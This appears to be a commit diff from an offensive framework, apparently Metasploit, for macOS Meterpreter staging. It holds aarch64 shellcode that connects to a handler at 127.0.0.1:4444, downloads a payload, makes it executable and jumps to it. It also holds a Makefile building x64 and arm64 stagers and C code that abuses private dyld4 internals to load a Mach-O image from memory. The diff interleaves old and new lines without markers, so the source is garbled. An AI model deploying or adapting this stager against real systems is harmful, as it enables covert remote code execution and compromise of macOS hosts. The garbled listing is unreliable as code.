// Shellcode: objdump -d a.out | cut -d ' ' -f 2- | ruby tools/payloads/format_aarch64.rb
.equ SYS_RECVFROM, 0x200001d
.equ SYS_MPROTECT, 0x200004a
.equ SYS_CONNECT, 0x2000062
.equ SYS_SELECT, 0x200005d
.equ SYS_SOCKET, 0x2000061
.equ SYS_MMAP, 0x20000c5
.equ SYS_EXIT, 0x2000001
.equ AF_INET, 0x2
.equ SOCK_STREAM, 0x1
.equ STDIN, 0x0
.equ STDOUT, 0x1
.equ STDERR, 0x2
.equ IP, 0x0100007f
.equ PORT, 0x5C11
.global _main
_main:
/* mmap(addr=0, length=328, prot=0x2 (PROT_WRITE), flags=0x1002 (MAP_PRIVATE | MAP_ANON), fd=-1, offset=0) */
mov x0, xzr
mov x1, #328
mov x2, #2
mov x3, #0x1002
mvn x4, xzr
mov x5, xzr
ldr x16, =SYS_MMAP
svc 0
cmn x0, #0x1
beq failed
/* save retry_count */
mov x12, x0
mov x10, 0
adr x11, retry_count
ldr x11, [x11]
/* socket(AF_INET, SOCK_STREAM, IPPROTO_IP) */
socket:
mov x0, AF_INET
mov x1, SOCK_STREAM
mov x2, 0
ldr x16, =SYS_SOCKET
svc 0
//cbz w0, retry
mov x13, x0
/* connect(sockfd, socket={AF_INET,4444,127.0.0.1}, socklen_t=16) */
adr x1, caddr
ldr x1, [x1]
str x1, [sp, #-8]!
mov x1, sp
mov x2, 16
ldr x16, =SYS_CONNECT
svc 0
//cbnz w0, retry
/* recvfrom(sockfd='x13', address='x12', length=328, flags=0x40 (MSG_WAITALL), from=0, fromlenaddr=0) */
mov x0, x13
mov x1, x12
mov x2, #328
mov x3, #0x40
mov x4, xzr
mov x5, xzr
ldr x16, =SYS_RECVFROM
svc 0
//cbnz w0, retry
/* mprotect(addr, length=328, prot=0x5 (PROT_READ | PROT_EXEC)) */
mov x0, x12
mov x1, #328
mov x2, #5
ldr x16, =SYS_MPROTECT
svc 0
br x12
retry:
sub x11, x11, #1
cmp x11, 0
beq failed
/* select(0, 0, 0, 0, &{sleep_nanoseconds, sleep_seconds}) */
mov x0, 0
mov x1, 0
adr x2, sleep_nanoseconds
ldr x2, [x2]
adr x3, sleep_seconds
ldr x3, [x3]
stp x3, x2, [sp, #-16]!
mov x4, sp
mov x2, 0
mov x3, 0
ldr x16, =SYS_SELECT
svc 0
bal socket
failed:
mov x0, 0x1
ldr x16, =SYS_EXIT
svc 0
.balign 16
caddr:
.short AF_INET
.short PORT
.word IP
retry_count:
.word 0x4242
.word 0x4242
sleep_nanoseconds:
.word 0x4343
.word 0x4343
sleep_seconds:
.word 0x4444
.word 0x4444
@@ -0,0 +1,4 @@
x64_osx_stage
x64_osx_stage_debug
aarch64_osx_stage
aarch64_osx_stage_debug
+29 -9
View File
@@ -1,19 +1,39 @@
CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -Os -O0
GCC_BIN_OSX=`xcrun --sdk macosx -f gcc`
GCC_BASE_OSX=$(GCC_BIN_OSX) $(CFLAGS)
GCC_OSX=$(GCC_BASE_OSX) -arch x86_64
GCC_OSX_X64=$(GCC_BASE_OSX) -arch x86_64
GCC_OSX_AARCH64=$(GCC_BASE_OSX) -arch arm64
all: clean main_osx
all: clean x64_osx_stage aarch64_osx_stage
main_osx: main.c
$(GCC_OSX) -o $@ $^
debug: clean x64_osx_stage_debug aarch64_osx_stage_debug
install: main_osx
cp main_osx ../../../../../data/meterpreter/x64_osx_stage
x64_osx_stage: main.c
$(GCC_OSX_X64) -o $@ $^
shellcode: install
otool -tv main_osx
x64_osx_stage_debug: main.c
$(GCC_OSX_X64) -D DEBUG -o $@ $^ printf/printf.c
aarch64_osx_stage: main.c
$(GCC_OSX_AARCH64) -o $@ $^
aarch64_osx_stage_debug: main.c
$(GCC_OSX_AARCH64) -D DEBUG -o $@ $^ printf/printf.c
install: x64_osx_stage aarch64_osx_stage
cp x64_osx_stage ../../../../../data/meterpreter/x64_osx_stage
cp aarch64_osx_stage ../../../../../data/meterpreter/aarch64_osx_stage
install_debug: x64_osx_stage_debug aarch64_osx_stage_debug
cp x64_osx_stage_debug ../../../../../data/meterpreter/x64_osx_stage
cp aarch64_osx_stage_debug ../../../../../data/meterpreter/aarch64_osx_stage
x64_shellcode: install
otool -tv x64_osx_stage
aarch64_shellcode: install
otool -tv aarch64_osx_stage
clean:
rm -f *.o main_osx
rm -f *.o x64_osx_stage aarch64_osx_stage x64_osx_stage_debug aarch64_osx_stage_debug
+317 -185
View File
@@ -1,3 +1,4 @@
/*
* References:
* @parchedmind
@@ -184,6 +185,19 @@ struct LoadOptions
Missing pathNotFoundHandler;// = nullptr;
};
struct InitialOptions
{
bool inDyldCache;// = false;
bool hasObjc;// = false;
bool mayHavePlusLoad;// = false;
bool roData;// = false;
bool neverUnloaded;// = false;
bool leaveMapped;// = false;
bool roObjC;// = false;
bool pre2022Binary;// = false;
};
struct Loaded {
void* _allocator;// = nullptr;
void* * elements;// = nullptr;
@@ -234,18 +248,25 @@ typedef NSModule (*NSLinkModule_ptr)(NSObjectFileImage objectFileImage, const ch
typedef NSSymbol (*NSLookupSymbolInModule_ptr)(NSModule module, const char *symbolName);
typedef void * (*NSAddressOfSymbol_ptr)(NSSymbol symbol);
typedef /*Loader*/void * (*JustInTimeLoaderMake_ptr)(void *apis, void *ma, const char* path, const struct FileID * fileId, uint64_t sliceOffset, bool willNeverUnload, bool leaveMapped, bool overridesCache, uint16_t overridesDylibIndex);
typedef /*Loader*/void * (*JustInTimeLoaderMake_ptr)(void *apis, void *ma, const char* path, const struct FileID * fileId, uint64_t sliceOffset, bool willNeverUnload, bool leaveMapped, bool overridesCache, uint16_t overridesDylibIndex, uint64_t layout);
typedef /*Loader*/void * (*JustInTimeLoaderMake2_ptr)(void *apis, void *ma, const char* path, const struct FileID * fileId, uint64_t sliceOffset, bool willNeverUnload, bool leaveMapped, bool overridesCache, uint16_t overridesDylibIndex);
typedef void * (*AnalyzeSegmentsLayout_ptr)(void *ma, uintptr_t * vmSpace, bool * hasZeroFill);
typedef void * (*VMAllocate_ptr)(uint64_t target_task, void * address, uint64_t size, int flags);
typedef void * (*VMDeallocate_ptr)(uint64_t target_task, void * address, uint64_t size);
typedef void * (*WithRegions_ptr)(void *ma, void * callback);
//typedef uint32_t (*DependentDylibCount_ptr)(void *ma, bool * alldepsarenormal);
//typedef bool (*HasPlusLoad_ptr)(void *ma);
typedef void * (*MMap_ptr)(void * sdg, void *addr, size_t length, int prot, int flags, int fd, uint64_t offset);
void * memcpy2(void *dest, const void *src, size_t len);
typedef void * (*Mprotect_ptr)(void * sdg, void * dst, uint64_t length, int prot);
typedef void (*WithLoadersWriteLock_ptr)(void *apis, void * callback);
//typedef void * (*LoaderLoader_ptr)(void * loader, const struct InitialOptions *, bool prebuilt, bool prebuiltApp, bool prebuiltIndex);
typedef void (*LoadDependents_ptr)(void *topLoader, const struct diagnostics * diag, void * apis, const struct LoadOptions * lo);
//typedef bool (*EnforceFormat_ptr)(void * ma, int malformed);
typedef void (*RunInitializers_ptr)(void *topLoader, void * apis);
typedef void * (*HandleFromLoader_ptr)(void *loader, bool firstOnly);
typedef void (*IncDlRefCount_ptr)(void *apis, void * topLoader);
//typedef void (*AddLoader_ptr)(void *apis, void * topLoader);
typedef void (*NotifyLoad_ptr)(void * apis, struct ArrayOfLoaderPointers * newLoaders);
typedef void (*NotifyDebuggerLoad_ptr)(void * apis, const struct ArrayOfLoaderPointers * aolp);
typedef void (*ApplyFixups_ptr)(void * ldr, const struct diagnostics * diag, void * apis, struct DyldCacheDataConstLazyScopedWriter * dcd, bool b);
@@ -256,7 +277,6 @@ typedef bool (*HasThreadLocalVariables_ptr)(void * ma);
typedef void (*SetUpTLVs_ptr)(void * ma, void * apis);
typedef void (*AddWeakDefs_ptr)(void * apis, void * newLoaders);
typedef uint64_t (*SimpleDPrintf_ptr)(uint64_t fd, const char * fmt, const void * a);
uint64_t find_macho(uint64_t addr, unsigned int increment);
uint64_t find_dylib(uint64_t addr, unsigned int increment);
@@ -269,7 +289,16 @@ uint64_t roundUp(uint64_t numToRound, uint64_t multiple);
//#define DEBUG
#ifdef DEBUG
static void print(char * str);
#define printf(a,b) print(a);
#include "printf/printf.h"
void _putchar(char character) {
char t[2];
t[0] = character;
t[1] = 0;
print(t);
}
#else
#define print(a)
#define printf(a,b)
#endif
@@ -278,20 +307,23 @@ static void print(char * str);
int main(int argc, char** argv)
{
#ifdef DEBUG
print("main!\n");
#endif
uint64_t buffer = 0;
uint64_t buffer_size = 0;
#ifdef __aarch64__
__asm__(
"mov %0, x12\n"
"mov %1, x10\n"
: "=r"(buffer), "=r"(buffer_size));
#else
__asm__(
"movq %%r10, %0;\n"
"movq %%r12, %1;\n"
: "=g"(buffer), "=g"(buffer_size));
#ifdef DEBUG
print("hello world!\n");
#endif
print("hello world!\n");
int sierra = detect_sierra();
uint64_t binary = DYLD_BASE_ADDR;
uint64_t dyld;
@@ -341,9 +373,7 @@ int main(int argc, char** argv)
}
NSCreateObjectFileImageFromMemory_func = find_symbol(dyld, "_NSCreateObjectFileImageFromMemory", offset);
}
#ifdef DEBUG
print("good symbol!\n");
#endif
// gDyld is a special struct that libdyld.dylib uses to interface with dyld4.
// gDyld is not present in dyld3 and back.
@@ -351,142 +381,128 @@ int main(int argc, char** argv)
//printf("gDyld: %lld\n", gDyld);
void * addr_main = 0;
if (gDyld != 0) {
#ifdef DEBUG
print("gDyld found, using dual hijack technique.\n");
#endif
// Also known as the RuntimeState or Allocator.
void* apis = ((struct libdyldDyld4Section*)gDyld)->apis;
#ifdef DEBUG
printf("apis: %lld\n", apis);
printf("config: %i\n", (int)*(void **)(apis+8));
#endif
printf("config: %lld\n", *(void **)(apis+8));
// config is offset around 0x100000 from the start of dyld4.
uint64_t base = roundUp((uint64_t)(*(void **)(apis+8) - 0x00100000), 0x1000);
#ifdef DEBUG
printf("base: %lld\n", base);
#endif
// sdyld will be the address of dyld4, which contains mangled symbols.
uint64_t sdyld = find_macho(base, 0x1000);
#ifdef DEBUG
uint64_t offset2 = sdyld;
printf("sdyld: %lld\n", sdyld);
#endif
JustInTimeLoaderMake_ptr JustInTimeLoaderMake_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader4makeERNS_12RuntimeStateEPKN5dyld313MachOAnalyzerEPKcRKNS_6FileIDEybbbt", sdyld);
while (!JustInTimeLoaderMake_func) {
MMap_ptr MMap_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate4mmapEPvmiiim", offset2);
while (!MMap_func) {
sdyld = find_macho(sdyld + 0x1000, 0x1000);
if (sdyld == 1) {
#ifdef DEBUG
print("failed.\n");
#endif
return 1;
}
//printf("Dyld: %lld\n", sdyld);
JustInTimeLoaderMake_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader4makeERNS_12RuntimeStateEPKN5dyld313MachOAnalyzerEPKcRKNS_6FileIDEybbbt", sdyld);
MMap_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate4mmapEPvmiiim", offset2);
}
//printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
//printf("JITLMP: %lld\n", JustInTimeLoaderMake_func);
SimpleDPrintf_ptr SimpleDPrintf_func = find_symbol(sdyld, "__simple_dprintf", sdyld);
#ifdef DEBUG
SimpleDPrintf_func(1, "SimpleDPrintf_func: %lld\n", SimpleDPrintf_func);
#endif
//printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", offset2));
JustInTimeLoaderMake_ptr JustInTimeLoaderMake_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader4makeERNS_12RuntimeStateEPKN5dyld313MachOAnalyzerEPKcRKNS_6FileIDEybbbt", offset2);
JustInTimeLoaderMake2_ptr JustInTimeLoaderMake2_func = 0;
bool ventura = false;
if (!JustInTimeLoaderMake_func) {
offset2 = offset;
ventura = true;
MMap_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate4mmapEPvmiiim", offset2);
JustInTimeLoaderMake2_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader4makeERNS_12RuntimeStateEPKN5dyld39MachOFileEPKcRKNS_6FileIDEybbbtPKN6mach_o6LayoutE", offset2);
}
if (ventura) {
print("Ventura!\n");
}
//printf("SimpleDPrintf_func: %lld\n", SimpleDPrintf_func);
printf("Errno: %lld\n", *(uint64_t*)find_symbol(sdyld, "_errno", offset2));
// Loader::mapSegments
uintptr_t vmSpace = 0;
bool hasZeroFill;
AnalyzeSegmentsLayout_ptr AnalyzeSegmentsLayout_func = find_symbol(sdyld, "__ZNK5dyld313MachOAnalyzer21analyzeSegmentsLayoutERyRb", sdyld);
#ifdef DEBUG
print("Analyzing Segments.\n");
#endif
*(uint32_t*)buffer = 0xfeedfacf;
#ifdef DEBUG
SimpleDPrintf_func(1, "Buffer: %lld\n", buffer);
#endif
AnalyzeSegmentsLayout_func((void*)buffer, &vmSpace, &hasZeroFill);
#ifdef DEBUG
SimpleDPrintf_func(1, "vmSpace: %lld\n", vmSpace);
#endif
printf("Buffer: %lld\n", buffer);
if (ventura) {
// MachOFile =~= MachOAnalyzer
AnalyzeSegmentsLayout_ptr AnalyzeSegmentsLayout_func = find_symbol(sdyld, "__ZNK5dyld39MachOFile21analyzeSegmentsLayoutERyRb", offset2);
print("Analyzing Segments.\n");
AnalyzeSegmentsLayout_func((void*)buffer, &vmSpace, &hasZeroFill);
} else {
AnalyzeSegmentsLayout_ptr AnalyzeSegmentsLayout_func = find_symbol(sdyld, "__ZNK5dyld313MachOAnalyzer21analyzeSegmentsLayoutERyRb", offset2);
print("Analyzing Segments.\n");
AnalyzeSegmentsLayout_func((void*)buffer, &vmSpace, &hasZeroFill);
};
printf("vmSpace: %lld\n", vmSpace);
bool isTranslated = false; // Rosetta.
uint64_t extraAllocSize = 0;
if ((*(uint64_t **)(apis + 8))[0x7c] != 0) {
isTranslated = true;
#ifdef DEBUG
print("Rosetta.\n");
#endif
// TODO: Rosseta requires a bit more space...
extraAllocSize = 0x0;
}
vmSpace += extraAllocSize;
#ifdef DEBUG
SimpleDPrintf_func(1, "Translated: %s\n", isTranslated ? "true" : "false");
#endif
printf("Translated: %s\n", isTranslated ? "true" : "false");
uintptr_t loadAddress = 0;
VMAllocate_ptr VMAllocate_func = find_symbol(sdyld, "_vm_allocate", sdyld);
uint64_t mach_task_self = *(uint64_t*)find_symbol(sdyld, "_mach_task_self_", sdyld);
VMAllocate_ptr VMAllocate_func = find_symbol(sdyld, "_vm_allocate", offset2);
uint64_t mach_task_self = *(uint64_t*)find_symbol(sdyld, "_mach_task_self_", offset2);
void * vmallocate_ret = VMAllocate_func(mach_task_self, &loadAddress, vmSpace, /*VM_FLAGS_ANYWHERE: */0x1);
#ifdef DEBUG
SimpleDPrintf_func(1, "VMAllocate Ret: %lld\n", vmallocate_ret);
SimpleDPrintf_func(1, "LoadAddress: %lld\n", loadAddress);
#endif
printf("VMAllocate Ret: %lld\n", vmallocate_ret);
printf("LoadAddress: %lld\n", loadAddress);
// Put regions together...
// JustInTimeLoader::withRegions via MachOAnalyzer::getAllSegmentsInfos
WithRegions_ptr WithRegions_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader11withRegionsEPKN5dyld313MachOAnalyzerEU13block_pointerFvRKNS1_5ArrayINS_6Loader6RegionEEEE", sdyld);
WithRegions_ptr WithRegions_func = 0;
if (ventura) {
WithRegions_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader11withRegionsEPKN5dyld39MachOFileEU13block_pointerFvRKNS1_5ArrayINS_6Loader6RegionEEEE", offset2);
} else {
WithRegions_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader11withRegionsEPKN5dyld313MachOAnalyzerEU13block_pointerFvRKNS1_5ArrayINS_6Loader6RegionEEEE", offset2);
};
WithRegions_func((void*)buffer, ^(struct ArrayOfRegions * rptr) {
#ifdef DEBUG
SimpleDPrintf_func(1, "Region Ptrs: %lld\n", rptr);
SimpleDPrintf_func(1, "usedCount: %lld\n", rptr->_usedCount);
SimpleDPrintf_func(1, "allocCount: %lld\n", rptr->_allocCount);
#endif
printf("Region Ptrs: %lld\n", rptr);
printf("usedCount: %lld\n", rptr->_usedCount);
printf("allocCount: %lld\n", rptr->_allocCount);
uint32_t segIndex = 0;
uint64_t sliceOffset = 0;
uint64_t lastOffset = 0;
for (int i = 0 ; i < rptr->_usedCount; i++) {
const struct Region region = rptr->_elements[i];
#ifdef DEBUG
SimpleDPrintf_func(1, "Region vmOffset: %lld\n", region.vmOffset);
SimpleDPrintf_func(1, "Region perms: %lld\n", region.perms);
SimpleDPrintf_func(1, "Region isZeroFill: %lld\n", region.isZeroFill);
SimpleDPrintf_func(1, "Region readOnlyData: %lld\n", region.readOnlyData);
SimpleDPrintf_func(1, "Region fileOffset: %lld\n", region.fileOffset);
SimpleDPrintf_func(1, "Region fileSize: %lld\n", region.fileSize);
printf("Region vmOffset: %lld\n", region.vmOffset);
printf("Region perms: %lld\n", region.perms);
printf("Region isZeroFill: %lld\n", region.isZeroFill);
printf("Region readOnlyData: %lld\n", region.readOnlyData);
printf("Region fileOffset: %lld\n", region.fileOffset);
printf("Region fileSize: %lld\n", region.fileSize);
print("----\n");
#endif
if ( region.isZeroFill || (region.fileSize == 0) )
continue;
if ( (region.vmOffset == 0) && (segIndex > 0) )
continue;
int perms = region.perms;
MMap_ptr MMap_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate4mmapEPvmiiim", sdyld);
#ifdef DEBUG
SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
SimpleDPrintf_func(1, "Addr: %lld\n", (void*)(loadAddress + region.vmOffset));
SimpleDPrintf_func(1, "Size: %lld\n", (size_t)region.fileSize);
SimpleDPrintf_func(1, "Perms: %lld\n", region.perms);
SimpleDPrintf_func(1, "Flags: %lld\n", MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS);
SimpleDPrintf_func(1, "FD: %lld\n", (int)-1);
SimpleDPrintf_func(1, "Offset: %lld\n", (size_t)(sliceOffset + region.fileOffset));
#endif
printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", offset2));
printf("Addr: %lld\n", (void*)(loadAddress + region.vmOffset));
printf("Size: %lld\n", (size_t)region.fileSize);
printf("Perms: %lld\n", region.perms);
printf("Flags: %lld\n", MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS);
printf("FD: %lld\n", (int)-1);
printf("Offset: %lld\n", (size_t)(sliceOffset + region.fileOffset));
// MMap will init this with zeros.
void* segAddress = MMap_func(*(void **)(apis+ 8), (void*)(loadAddress + region.vmOffset), (size_t)region.fileSize, PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
lastOffset = loadAddress + region.vmOffset + region.fileSize;
#ifdef DEBUG
SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
SimpleDPrintf_func(1, "Buffer: %lld\n", buffer);
SimpleDPrintf_func(1, "BufferO: %lld\n", buffer + sliceOffset + region.fileOffset);
#endif
printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", offset2));
printf("Buffer: %lld\n", buffer);
printf("BufferO: %lld\n", buffer + sliceOffset + region.fileOffset);
memcpy2(segAddress, (const void *)(buffer + sliceOffset + region.fileOffset), (size_t)region.fileSize);
#ifdef DEBUG
SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
#endif
Mprotect_ptr Mprotect_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate8mprotectEPvmi", sdyld);
printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", offset2));
Mprotect_ptr Mprotect_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate8mprotectEPvmi", offset2);
Mprotect_func(*(void **)(apis+ 8), segAddress, (size_t)region.fileSize, perms);
#ifdef DEBUG
SimpleDPrintf_func(1, "SegAddress: %lld\n", segAddress);
SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
#endif
printf("SegAddress: %lld\n", segAddress);
printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", offset2));
++segIndex;
}
});
// Okay, we should be good to go with JustInTimeLoader::make.
// __ZNK5dyld39MachOFile11installNameEv: ""
WithLoadersWriteLock_ptr WithLoadersWriteLock_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState20withLoadersWriteLockEU13block_pointerFvvE", sdyld);
// We cannot use __block as it corrupts the stack, so we have to use a malloc technique to pass data.
uintptr_t structspace = 0;
uint64_t structspacesize = sizeof(void *)+ // rtopLoader
@@ -496,59 +512,46 @@ int main(int argc, char** argv)
sizeof(struct LoadChain)+ // loadChain
sizeof(struct LoadOptions)+ // depOptions
sizeof(struct diagnostics); // diag
int initialoptionsoffset = structspacesize;
VMAllocate_func(mach_task_self, &structspace, structspacesize, 0x1);
uint64_t * rtopLoader = (uint64_t *)(structspace);;
WithLoadersWriteLock_func(apis, ^(){
if (ventura) {
struct Loaded * loaded = (struct Loaded*)(apis+32);
uintptr_t startLoaderCount = loaded->size;
#ifdef DEBUG
SimpleDPrintf_func(1, "Loaded Size: %lld\n", loaded->size);
SimpleDPrintf_func(1, "Loaded first: %lld\n", (loaded->elements));
SimpleDPrintf_func(1, "Loaded Capacity: %lld\n", loaded->capacity);
#endif
printf("Loaded Size: %lld\n", loaded->size);
printf("Loaded first: %lld\n", (loaded->elements));
printf("Loaded Capacity: %lld\n", loaded->capacity);
struct FileID * fileid = (struct FileID *)(rtopLoader+sizeof(void *));// = { 0, 0, false };
fileid->iNode = 0;
fileid->modTime = 0;
fileid->isValid = false;
#ifdef DEBUG
SimpleDPrintf_func(1, "Apis: %lld\n", apis);
SimpleDPrintf_func(1, "LoadAddress: %lld\n", loadAddress);
SimpleDPrintf_func(1, "JITLMP: %lld\n", JustInTimeLoaderMake_func);
#endif
void * topLoader = JustInTimeLoaderMake_func(apis, (void *)loadAddress, "", fileid, 0, false, true, false, 0);
#ifdef DEBUG
SimpleDPrintf_func(1, "TopLoader: %lld\n", topLoader);
SimpleDPrintf_func(1, "Toploader (*(int*)this): %i\n", *(int *)topLoader);
SimpleDPrintf_func(1, "Loaded Size: %lld\n", loaded->size);
SimpleDPrintf_func(1, "Loaded Capacity: %lld\n", loaded->capacity);
#endif
printf("Apis: %lld\n", apis);
printf("LoadAddress: %lld\n", loadAddress);
printf("JITLMP: %lld\n", JustInTimeLoaderMake_func);
void * topLoader = JustInTimeLoaderMake2_func(apis, (void *)loadAddress, "A", fileid, 0, false, true, false, 0);
printf("TopLoader: %lld\n", topLoader);
printf("Toploader (*(int*)this): %i\n", *(int *)topLoader);
printf("Loaded Size: %lld\n", loaded->size);
printf("Loaded Capacity: %lld\n", loaded->capacity);
struct PartialLoader * pl = (struct PartialLoader *)topLoader;
#ifdef DEBUG
SimpleDPrintf_func(1, "LoadAddress: %lld\n", pl->mappedAddress);
SimpleDPrintf_func(1, "lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
SimpleDPrintf_func(1, "hidden: %lld\n", pl->hidden);
SimpleDPrintf_func(1, "Magic: %lld\n", pl->magic);
SimpleDPrintf_func(1, "IsPrebuilt: %lld\n", pl->isPrebuilt);
#endif
printf("LoadAddress: %lld\n", pl->mappedAddress);
printf("lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
printf("hidden: %lld\n", pl->hidden);
printf("Magic: %lld\n", pl->magic);
printf("IsPrebuilt: %lld\n", pl->isPrebuilt);
pl->lateLeaveMapped = 1;
pl = (struct PartialLoader *)topLoader;
#ifdef DEBUG
SimpleDPrintf_func(1, "lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
#endif
printf("lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
struct LoadChain * loadChainMain = (struct LoadChain *)(fileid+sizeof(struct FileID));// = { 0, *(void **)(apis+24) };
loadChainMain->previous = 0;
loadChainMain->image = *(void **)(apis+24);
#ifdef DEBUG
SimpleDPrintf_func(1, "mainExecutableLoader: %lld\n", *(void **)(apis+24));
SimpleDPrintf_func(1, "mainExecutableLoader: %lld\n", loadChainMain->image);
#endif
printf("mainExecutableLoader: %lld\n", *(void **)(apis+24));
printf("mainExecutableLoader: %lld\n", loadChainMain->image);
struct LoadChain * loadChainCaller = (struct LoadChain *)(loadChainMain+sizeof(struct LoadChain));// = { &loadChainMain, &(loaded->elements[0]) };
loadChainCaller->previous = &loadChainMain;
loadChainCaller->image = &(loaded->elements[0]);
#ifdef DEBUG
SimpleDPrintf_func(1, "LoadedElements: %lld\n", &(loaded->elements[0]));
SimpleDPrintf_func(1, "Toploader (*(int*)this): %i\n", *(int *)topLoader);
#endif
printf("LoadedElements: %lld\n", &(loaded->elements[0]));
printf("Toploader (*(int*)this): %i\n", *(int *)topLoader);
struct LoadChain * loadChain = (struct LoadChain *)(loadChainCaller+sizeof(struct LoadChain));// = { &loadChainCaller, topLoader };
loadChain->previous = &loadChainCaller;
loadChain->image = topLoader;
@@ -559,102 +562,187 @@ int main(int argc, char** argv)
depOptions->canBeDylib = true;
depOptions->rpathStack = loadChain;
depOptions->useFallBackPaths = true;
LoadDependents_ptr LoadDependents_func = find_symbol(sdyld, "__ZN5dyld46Loader14loadDependentsER11DiagnosticsRNS_12RuntimeStateERKNS0_11LoadOptionsE", sdyld);
LoadDependents_ptr LoadDependents_func = find_symbol(sdyld, "__ZN5dyld46Loader14loadDependentsER11DiagnosticsRNS_12RuntimeStateERKNS0_11LoadOptionsE", offset2);
struct diagnostics * diag = (struct diagnostics *)(depOptions+sizeof(struct LoadOptions));
diag->_buffer = 0;
LoadDependents_func(topLoader, diag, apis, depOptions);
if (diag->_buffer != 0) {
#ifdef DEBUG
print("Error\n");
#endif
};
#ifdef DEBUG
SimpleDPrintf_func(1, "buffer: %lld\n", diag->_buffer);
SimpleDPrintf_func(1, "startLoaderCount: %lld\n", startLoaderCount);
#endif
printf("buffer: %lld\n", diag->_buffer);
printf("startLoaderCount: %lld\n", startLoaderCount);
uint64_t newLoadersCount = loaded->size - startLoaderCount;
#ifdef DEBUG
SimpleDPrintf_func(1, "newLoadersCount: %lld\n", newLoadersCount);
#endif
printf("newLoadersCount: %lld\n", newLoadersCount);
void * * newLoaders = &loaded->elements[startLoaderCount];
struct ArrayOfLoaderPointers newLoadersArray = { newLoaders, newLoadersCount, newLoadersCount };
if (newLoadersCount != 0) {
NotifyDebuggerLoad_ptr NotifyDebuggerLoad_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState18notifyDebuggerLoadERKN5dyld35ArrayIPKNS_6LoaderEEE", sdyld);
NotifyDebuggerLoad_ptr NotifyDebuggerLoad_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState18notifyDebuggerLoadERKNSt3__14spanIPKNS_6LoaderELm18446744073709551615EEE", offset2);
NotifyDebuggerLoad_func(apis, &newLoadersArray);
if (*(char *)(apis + 0x7f) != '\0') {
AddWeakDefs_ptr AddWeakDefs_func = find_symbol(sdyld, "__ZN5dyld46Loader16addWeakDefsToMapERNS_12RuntimeStateERKN5dyld35ArrayIPKS0_EE", sdyld);
AddWeakDefs_ptr AddWeakDefs_func = find_symbol(sdyld, "__ZN5dyld46Loader16addWeakDefsToMapERNS_12RuntimeStateERKNSt3__14spanIPKS0_Lm18446744073709551615EEE", offset2);
AddWeakDefs_func(apis, &newLoadersArray);
#ifdef DEBUG
print("WeakRefed\n");
#endif
}
ApplyFixups_ptr ApplyFixups_func = find_symbol(sdyld, "__ZNK5dyld46Loader11applyFixupsER11DiagnosticsRNS_12RuntimeStateERNS_34DyldCacheDataConstLazyScopedWriterEb", sdyld);
ApplyFixups_ptr ApplyFixups_func = find_symbol(sdyld, "__ZNK5dyld46Loader11applyFixupsER11DiagnosticsRNS_12RuntimeStateERNS_34DyldCacheDataConstLazyScopedWriterEb", offset2);
struct DyldCacheDataConstLazyScopedWriter dcdclsw = { apis, false };
for (int i = 0; i != newLoadersCount; ++i) {
#ifdef DEBUG
print("Fixing Up!\n");
#endif
void * ldr = newLoaders[i];
#ifdef DEBUG
SimpleDPrintf_func(1, "Ldr: %lld\n", ldr);
#endif
printf("Ldr: %lld\n", ldr);
ApplyFixups_func(ldr, diag, apis, &dcdclsw, true);
#ifdef DEBUG
SimpleDPrintf_func(1, "Diag: %lld\n", diag->_buffer);
#endif
printf("Diag: %lld\n", diag->_buffer);
}
// TODO: Figure out if we need addPermanentRanges.
NotifyDtrace_ptr NotifyDtrace_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState12notifyDtraceERKN5dyld35ArrayIPKNS_6LoaderEEE", sdyld);
NotifyDtrace_ptr NotifyDtrace_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState12notifyDtraceERKNSt3__14spanIPKNS_6LoaderELm18446744073709551615EEE", offset2);
NotifyDtrace_func(apis, &newLoadersArray);
RebindMissingFlatLazySymbols_ptr RebindMissingFlatLazySymbols_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState28rebindMissingFlatLazySymbolsERKN5dyld35ArrayIPKNS_6LoaderEEE", sdyld);
RebindMissingFlatLazySymbols_ptr RebindMissingFlatLazySymbols_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState28rebindMissingFlatLazySymbolsERKNSt3__14spanIPKNS_6LoaderELm18446744073709551615EEE", offset2);
RebindMissingFlatLazySymbols_func(apis, &newLoadersArray);
for (int i = 0; i != newLoadersCount; ++i) {
void * ldr = newLoaders[i];
#ifdef DEBUG
print("Setting up locals.\n");
#endif
